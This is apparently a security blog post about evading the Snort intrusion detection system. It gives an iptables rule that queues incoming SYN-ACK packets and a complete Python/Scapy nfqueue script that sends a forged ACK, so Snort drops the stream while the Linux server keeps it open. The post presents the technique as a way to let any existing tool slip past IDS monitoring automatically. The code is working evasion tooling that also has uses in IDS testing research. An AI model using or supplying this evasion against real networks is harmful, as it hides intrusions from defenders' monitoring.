Python NFQueue, IDS Evasion, and Scapy

In my previous blog I talked about another post I had read, and how to circumvent Snort when attacking a Linux server. The key was to send an incorrect ACK as a response to the server's SYN-ACK, which would result in a RST. Then, the actual ACK was sent, and the conversation would continue. This stream would be dropped by Snort from the RST, but because of syn-cookies in Linux, the stream would be kept alive on the server end.

I had written a script that would read in data, and craft the handshake, along with the modified ACK, all using raw sockets. This could be used if the user wanted to test with strings of data, but not with other programs. This would have to be done in the kernel with nfqueue.

I recently stumbled on the python nfqueue bindings which would make this possible. First, returning SYN-ACK packets would have to be queued by using iptables.

iptables -A INPUT -m tcp -p tcp --tcp-flags ALL SYN,ACK -j NFQUEUE

This will queue all incoming SYN-ACK packets, so they can be read in python using the nfqueue-bindings. The full script will be posted as a link on the bottom.

=====================

import os,sys,nfqueue,socket
from scapy.all import *

def process(i, payload):
    data = payload.get_data()
    p = IP(data)

    if not p[TCP].flags == 18:
        return 0

    print "Crafting Fake ACK"
    fake = IP(src=p[IP].dst, dst=p[IP].src)/TCP(sport=p[TCP].dport, dport=p[TCP].sport, \
    flags="A", seq=p[TCP].ack+1, ack=p[TCP].seq+2)

    print "Sending..."
    send(fake)

    print "Accepting SYN-ACK"
    payload.set_verdict(nfqueue.NF_ACCEPT)

def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(process)
    q.create_queue(0)
    try:
        q.try_run()
    except KeyboardInterrupt:
        print "Exiting..."
        q.unbind(socket.AF_INET)
        q.close()
        sys.exit(1)

main()

=====================

By having iptables queue any SYN-ACK incoming, we can process each of these packets before accepting them. In the above example, the process callback function examines the packet in the queue, and crafts an ACK before the kernel can ACK it. Once this fake ACK packet has been sent out, it then accepts the SYN-ACK packet, and the kernel sends back the correct ACK. This way, you could use any existing tool with this script, and everything would be handled automatically.

There are many things that could be done when combining python-nfqueue and scapy. Download the example script below.

Download: nftest.py